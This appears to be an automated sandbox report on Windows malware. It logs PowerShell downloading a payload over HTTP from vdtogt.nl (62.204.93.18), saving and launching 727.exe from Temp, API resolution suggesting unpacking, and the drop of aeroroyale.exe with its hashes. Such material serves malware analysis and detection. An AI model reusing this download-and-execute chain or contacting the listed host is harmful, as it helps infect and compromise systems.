Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\BGC6u8Oy yXGxkR True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\BGC6u8Oy yXGxkR True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Documents\WindowsPowerShell\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 8
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Thread 0xa70
54 6
»
Category Operation Information Success Count Logfile
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Inet Close Session - True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Thread 0xae8
77 53
»
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 22
Fn
Environment Get Environment String name = temp, result_out = C:\Users\BGC6U8~1\AppData\Local\Temp True 2
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_attributes True 1
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 True 5
Fn
Data
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 2
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
System Get Computer Name result_out = F71GWAT True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Mutex Open mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = vdtogt.nl, address_out = 62.204.93.18 True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Connect remote_address = 62.204.93.18, remote_port = 80 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 63, size_out = 63 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = vdtogt.nl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /amyQ True 1
Fn
Inet Send HTTP Request headers = host: vdtogt.nl, connection: Keep-Alive, url = vdtogt.nl/amyQ True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 564 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 564 True 1
Fn
Data
Socket Send flags = NO_FLAG_SET, size = 40, size_out = 40 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = vdtogt.nl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /amyQ/ True 1
Fn
Inet Send HTTP Request headers = host: vdtogt.nl, url = vdtogt.nl/amyQ/ True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 4096 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 9044 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 9044 True 1
Fn
Data
File Write size = 4096 True 1
Fn
Data
File Write size = 8585 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 3752 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 3752 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 6468 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 6468 True 1
Fn
Data
File Write size = 4096 True 1
Fn
Data
File Write size = 6124 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 11680 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 11680 True 1
Fn
Data
File Write size = 11680 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 24820 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 24820 True 1
Fn
Data
File Write size = 24820 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 3752 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 3752 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 61948 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 61948 True 1
Fn
Data
File Write size = 4096 True 1
Fn
Data
File Write size = 61604 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 30547, size_out = 30547 True 1
Fn
Data
Inet Read Response size = 30547, size_out = 30547 True 1
Fn
Data
File Write size = 30547 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 2, size_out = 2 True 1
Fn
Data
Inet Read Response size = 2, size_out = 2 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1, size_out = 1 True 1
Fn
Data
Inet Read Response size = 1, size_out = 1 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1, size_out = 1 True 1
Fn
Data
Inet Read Response size = 1, size_out = 1 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1, size_out = 1 True 1
Fn
Data
Inet Read Response size = 1, size_out = 1 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 2, size_out = 2 True 1
Fn
Data
Inet Read Response size = 2, size_out = 2 True 1
Fn
Data
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Temp\727.exe, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Thread 0xbcc
1 0
»
Category Operation Information Success Count Logfile
Process Create process_name = C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe, show_window = SW_SHOWNORMAL True 1
Fn
Process #4: 727.exe
17 0
»
Information Value
ID #4
File Name c:\users\bgc6u8~1\appdata\local\temp\727.exe
Command Line "C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:32, Reason: Child Process
Unmonitor End Time: 00:01:34, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xbd0
Parent PID 0xa54 (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BD4
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
locale.nls 0x00140000 0x001a6fff Memory Mapped File r False False False -
pagefile_0x00000000001b0000 0x001b0000 0x00277fff Pagefile Backed Memory r True False False -
private_0x0000000000280000 0x00280000 0x00280fff Private Memory rw True False False -
private_0x0000000000290000 0x00290000 0x00290fff Private Memory rw True False False -
private_0x00000000002a0000 0x002a0000 0x002b4fff Private Memory rw True False False -
private_0x00000000002c0000 0x002c0000 0x002cffff Private Memory rwx True False False -
private_0x00000000002d0000 0x002d0000 0x002dffff Private Memory rw True False False -
private_0x00000000002e0000 0x002e0000 0x002f5fff Private Memory rwx True False False -
private_0x0000000000300000 0x00300000 0x003fffff Private Memory rw True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x00530fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000540000 0x00540000 0x0113ffff Pagefile Backed Memory r True False False -
private_0x0000000001140000 0x01140000 0x01155fff Private Memory rw True False False -
private_0x00000000011e0000 0x011e0000 0x011effff Private Memory rw True False False -
sortdefault.nls 0x011f0000 0x014befff Memory Mapped File r False False False -
winscard.dll 0x5fc00000 0x5fc22fff Memory Mapped File rwx False False False -
winspool.drv 0x738c0000 0x73910fff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd7000 0x7ffd7000 0x7ffd7fff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Threads
Thread 0xbd4
17 0
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, base_address = 0x400000 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcd0 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcf0 True 1
Fn
Module Get Address function = LoadLibraryA, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = GetProcAddress, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualProtect, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Load module_name = USER32.dll, base_address = 0x77170000 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = wsprintfA, address_out = 0x77183f47 True 1
Fn
Module Load module_name = KERNEL32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetLastError, address_out = 0x777abb08 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x7780bfde True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrlenW, address_out = 0x777ad9e8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x77798c59 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLastError, address_out = 0x777abf00 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcess, address_out = 0x777acdcf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessId, address_out = 0x777acac4 True 1
Fn
Process #5: 727.exe
21 0
»
Information Value
ID #5
File Name c:\users\bgc6u8~1\appdata\local\temp\727.exe
Command Line "C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:32, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:09
OS Process Information
»
Information Value
PID 0xbdc
Parent PID 0xbd0 (c:\users\bgc6u8~1\appdata\local\temp\727.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BE0
0x BEC
0x BF0
0x BF4
0x C00
0x C04
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
locale.nls 0x00140000 0x001a6fff Memory Mapped File r False False False -
private_0x00000000001b0000 0x001b0000 0x001b0fff Private Memory rw True False False -
private_0x00000000001c0000 0x001c0000 0x001c0fff Private Memory rw True False False -
private_0x00000000001d0000 0x001d0000 0x001e4fff Private Memory rw True False False -
private_0x00000000001f0000 0x001f0000 0x00205fff Private Memory rwx True False False -
private_0x0000000000210000 0x00210000 0x00225fff Private Memory rw True False False -
private_0x0000000000230000 0x00230000 0x0023ffff Private Memory rwx True False False -
pagefile_0x0000000000240000 0x00240000 0x00240fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000250000 0x00250000 0x00251fff Pagefile Backed Memory r True False False -
private_0x0000000000260000 0x00260000 0x0026ffff Private Memory rw True False False -
windowsshell.manifest 0x00270000 0x00270fff Memory Mapped File r False False False -
pagefile_0x0000000000270000 0x00270000 0x00270fff Pagefile Backed Memory r True False False -
private_0x0000000000280000 0x00280000 0x0037ffff Private Memory rw True False False -
rpcss.dll 0x00380000 0x003dbfff Memory Mapped File r False False False -
pagefile_0x0000000000380000 0x00380000 0x00381fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000390000 0x00390000 0x00390fff Pagefile Backed Memory r True False False -
cversions.1.db 0x003a0000 0x003a3fff Memory Mapped File r True False False -
cversions.2.db 0x003a0000 0x003a3fff Memory Mapped File r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db 0x003b0000 0x003cffff Memory Mapped File r True False False -
pagefile_0x00000000003d0000 0x003d0000 0x003d0fff Pagefile Backed Memory rw True False False -
cversions.2.db 0x003e0000 0x003e3fff Memory Mapped File r True False False -
pagefile_0x00000000003f0000 0x003f0000 0x003f6fff Pagefile Backed Memory r True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x004f7fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000500000 0x00500000 0x00600fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000610000 0x00610000 0x0120ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001210000 0x01210000 0x012eefff Pagefile Backed Memory r True False False -
pagefile_0x00000000012f0000 0x012f0000 0x012f1fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001300000 0x01300000 0x01300fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001300000 0x01300000 0x01301fff Pagefile Backed Memory rw True False False -
private_0x0000000001310000 0x01310000 0x0131ffff Private Memory rw True False False -
sortdefault.nls 0x01320000 0x015eefff Memory Mapped File r False False False -
private_0x00000000015f0000 0x015f0000 0x016effff Private Memory rw True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000009.db 0x016f0000 0x0171ffff Memory Mapped File r True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01720000 0x01785fff Memory Mapped File r True False False -
private_0x00000000017d0000 0x017d0000 0x0180ffff Private Memory rw True False False -
private_0x0000000001810000 0x01810000 0x0190ffff Private Memory rw True False False -
pagefile_0x0000000001910000 0x01910000 0x01d02fff Pagefile Backed Memory r True False False -
private_0x0000000001d10000 0x01d10000 0x01e0ffff Private Memory rw True False False -
private_0x0000000001e10000 0x01e10000 0x01f0ffff Private Memory rw True False False -
private_0x0000000001f10000 0x01f10000 0x0200ffff Private Memory rw True False False -
private_0x0000000002010000 0x02010000 0x0210ffff Private Memory rw True False False -
winscard.dll 0x5fc00000 0x5fc22fff Memory Mapped File rwx False False False -
winspool.drv 0x738c0000 0x73910fff Memory Mapped File rwx False False False -
ntmarta.dll 0x740e0000 0x74100fff Memory Mapped File rwx False False False -
dwmapi.dll 0x744c0000 0x744d2fff Memory Mapped File rwx False False False -
uxtheme.dll 0x747f0000 0x7482ffff Memory Mapped File rwx False False False -
propsys.dll 0x74830000 0x74924fff Memory Mapped File rwx False False False -
comctl32.dll 0x74970000 0x74b0dfff Memory Mapped File rwx False False False -
rsaenh.dll 0x75200000 0x7523afff Memory Mapped File rwx False False False -
cryptsp.dll 0x75460000 0x75475fff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
rpcrtremote.dll 0x75980000 0x7598dfff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x75a60000 0x75a86fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
devobj.dll 0x75bb0000 0x75bc1fff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
clbcatq.dll 0x75e00000 0x75e82fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
wldap32.dll 0x75ff0000 0x76034fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
setupapi.dll 0x76dc0000 0x76f5cfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd4000 0x7ffd4000 0x7ffd4fff Private Memory rw True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffdb000 0x7ffdb000 0x7ffdbfff Private Memory rw True False False -
private_0x000000007ffdc000 0x7ffdc000 0x7ffdcfff Private Memory rw True False False -
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Created Files
»
Filename File Size Hash Values YARA Match Actions
c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 152.00 KB MD5: 09825e3594c3b843b89e84650c05582b
SHA1: 0a9e192aa88a331cfa239c7dfba3d768fd76527c
SHA256: 46a07c4a907ba444e952dde338443fda6cb0d52202d1f07c916114c38ca9629f
SSDeep: 1536:7keo251Lv766vt7QtQwpl8FnKXXKnwgT4m2V9AadfIpZYKpOovk4xKLZT5:AeljLDP1syI0KHji4m25dwESvtMdT5 		False
...
Threads
Thread 0xbe0
21 0
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, base_address = 0x400000 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcd0 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcf0 True 1
Fn
Module Get Address function = LoadLibraryA, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = GetProcAddress, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualProtect, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Load module_name = USER32.dll, base_address = 0x77170000 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = wsprintfA, address_out = 0x77183f47 True 1
Fn
